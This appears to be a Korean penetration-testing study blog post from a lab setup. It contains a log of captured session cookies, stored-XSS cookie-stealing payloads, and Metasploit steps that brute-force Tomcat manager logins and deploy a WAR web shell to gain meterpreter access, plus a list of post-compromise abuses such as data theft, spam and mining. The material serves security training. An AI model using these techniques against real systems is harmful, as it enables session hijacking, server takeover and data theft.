cookie.html


<link href="style.css" rel="stylesheet" type="text/css" />

                

            

                

                <table width='100%' height='22%' border='1' cellpadding='5'>

  <tr>

    <td width='8%' height='27%' align='right'>시간 : </td>

    <td width='55%'> 2016/05/09(05:40:59) </td>

    <td width='6%' align='right'>아이피  : </td>

    <td width='31%'>192.168.0.4:2106</td>

  </tr>

  <tr>

    <td height='27%' align='right'>브라우저 : </td>

    <td colspan='3'>Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36</td>

  </tr>

  <tr>

    <td height='27%' align='right'>이전주소 : </td>

    <td colspan='3'><a href='http://192.168.19.133:83/demoshop/shop_board/shop_board_list.asp?page=1&v_num=8096'>http://192.168.19.133:83/demoshop/shop_board/shop_board_list.asp?page=1&v_num=8096</td>

  </tr>

  <tr>

    <td height='19%' align='right'>쿠키 : </td>

    <td style='word-break:break-all;' colspan='3'>ASPSESSIONIDQABDSDBR=EIOPACNDJNELHHHOONFKNMKG; oyesorder=oyes_order=1025572484</td>

  </tr>

</table>

                

                <table width='100%' height='22%' border='1' cellpadding='5'>

  <tr>

    <td width='8%' height='27%' align='right'>시간 : </td>

    <td width='55%'> 2016/05/09(05:44:00) </td>

    <td width='6%' align='right'>아이피  : </td>

    <td width='31%'>192.168.0.4:2364</td>

  </tr>

  <tr>

    <td height='27%' align='right'>브라우저 : </td>

    <td colspan='3'>Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36</td>

  </tr>

  <tr>

    <td height='27%' align='right'>이전주소 : </td>

    <td colspan='3'><a href='http://192.168.19.133:83/demoshop/shop_board/shop_board_list.asp?page=1&v_num=8096'>http://192.168.19.133:83/demoshop/shop_board/shop_board_list.asp?page=1&v_num=8096</td>

  </tr>

  <tr>

    <td height='19%' align='right'>쿠키 : </td>

    <td style='word-break:break-all;' colspan='3'>ASPSESSIONIDQABDSDBR=EIOPACNDJNELHHHOONFKNMKG; oyesorder=oyes_order=1025572484</td>

  </tr>

</table>

                

                <table width='100%' height='22%' border='1' cellpadding='5'>

  <tr>

    <td width='8%' height='27%' align='right'>시간 : </td>

    <td width='55%'> 2016/09/26(21:44:19) </td>

    <td width='6%' align='right'>아이피  : </td>

    <td width='31%'>172.20.10.2:4122</td>

  </tr>

  <tr>

    <td height='27%' align='right'>브라우저 : </td>

    <td colspan='3'>Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36</td>

  </tr>

  <tr>

    <td height='27%' align='right'>이전주소 : </td>

    <td colspan='3'><a href='http://192.168.19.141:81/board/index.asp?cmd=view&page=1&info_ref=8120&info_idx=8120&b_com=yes&gubun=gel&p_from=down&w=&k=&sr='>http://192.168.19.141:81/board/index.asp?cmd=view&page=1&info_ref=8120&info_idx=8120&b_com=yes&gubun=gel&p_from=down&w=&k=&sr=</td>

  </tr>

  <tr>

    <td height='19%' align='right'>쿠키 : </td>

    <td style='word-break:break-all;' colspan='3'>ASPSESSIONIDASSCQARA=MFDJAAFCNKKHJJNJPAAFBKEE</td>

  </tr>

</table>

                

XSS- STORED (BLOG)


<script>alert('this is test')</script>

<script>alert(document.cookie);</script>

보안점검중입니다.








<iframe></iframe>

<img></img>


공격자 -> 웹(XSS) <- 사용자(브라우저)


-악성코드 감염

다른 사용자 쿠키정보 획득 목적(권한)

피싱

CSRF 


root@bee-box:~# mkdir /var/www/gm/

root@bee-box:~# cd /var/www/gm/

root@bee-box:/var/www/gm# wget http://172.30.1.33:8989/gm.zip

--02:22:52--  http://172.30.1.33:8989/gm.zip

           => `gm.zip'

Connecting to 172.30.1.33:8989... connected.

HTTP request sent, awaiting response... 200 OK

Length: 16,826,121 (16M) [application/octet-stream]


100%[===========>] 16,826,121    33.25M/s             


02:22:53 (33.18 MB/s) - `gm.zip' saved [16826121/16826121]


root@bee-box:/var/www/gm# unzip gm.zip



root@bee-box:/var/www/gm# mysql -u root -p

Enter password: 

Welcome to the MySQL monitor.  Commands end with ; or \g.

Your MySQL connection id is 7

Server version: 5.0.96-0ubuntu3 (Ubuntu)


Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.


Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective

owners.


Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.


mysql> create database gmshop;




안녕하세요:)


Hilseric입니다. 


오늘 업로드 내용은 Metasploit 모듈 2가지를 사용하여 meterpreter 권한 얻기 내용 입니다. 


우선 해당 권한을 얻어서 할수 있는 내용은 크게 2가지 입니다.


1. 정보탈취

 - 서버 안의 DB 정보 탈취 

 - 그외 정보 탈취 


2. 악용

 - 스팸메일 

 - C&C 서버로 사용 

 - 비트코인 채굴 용도로 사용 

 

굉장히 다양한 것 들을 할 수가 있네요. 


그러면 공격을 통해서 어떤 것들을 얻을 수 있는지 알았으니, 공격 방법을 알아보겠습니다. 


오늘 사용할 모듈은 크게 2가지로 우선 관리자 계정을 찾는 것과 찾은 관리자 계정으로 Exploit 하는 모듈 두 가지 입니다. 


첫 번째로 사용 할 모듈은 Dictionary 형태로 사전을 정의하여 해당 서버의 관리자 계정이 일치하는 것을 찾아냅니다. 


두 번째로 찾은 아이디와 비밀번호를 통하여 Exploit을 하게 됩니다. 



1.정보탈취

 - sessions - i 



2. 악용 

 - 스팸메일 

 - C&C 서버로 사용

 - 비트코인 용도로 사용 

 

 






사용 할 모듈 


1. 해당 서버 ID/ PW 비밀번호 찾기 

 - scanner/http/tomcat_mgr_login



msfconsole


search tomcat 


use 기능 


show options 



2. 해당 서버에  Exploit하여 Meterpreter 권한 얻기 

 - exploit/multi/http/tomcat_mgr_deploy 모듈 





required에 yes되어 있는 기능들은 다 들어가야한다. 


디폴트 아이디 패스워드를 미리 사전조사해서 넣어준 것이다. 



exploit 


success된 것을 찾는다. 


jsp도 공부해야 하고 war파일도 만들어야 한다. 



메타스플로잇에서 제공하는 미터프리터라는 쉘 




ps = 현재 실행중인 목록

screenshot = 원격 실행한 데스크탑 스크린샷 


sessions = 연결 된 세션 확인  


background = 세션관리 


service postgresql restart 


msfconsole


search tomcat // login, deploy


use "공격 페이로드" 


show options 


set rhost 10.0.2.18 


exploit 


meterpreter> help 



metasploit으로 돌아가고싶으면 background를 입려갛면 된다.


sessions=


sessions <id> 로 하면 접근이 가능하다. 



deploy 모듈 과 


search 톰캣 


===========================================


==============================================


help 





톰캣 매니저 


Deploy 기능


java를 설치했을때 jar라는 생성되는 파일이


jsp가 올라가는 was인데 war파일을 만들어서 업로드. 


jar cvf test.war . 


현재폴더에는 shell.jsp


test.war 

'모의해킹' 카테고리의 다른 글

악성 js 파일 및 쿠키 저장용 html 파일  (0) 2018.05.17
XSS 공격 방법  (0) 2018.05.17
BEE BOX 환경 구성  (0) 2018.05.17

+ Recent posts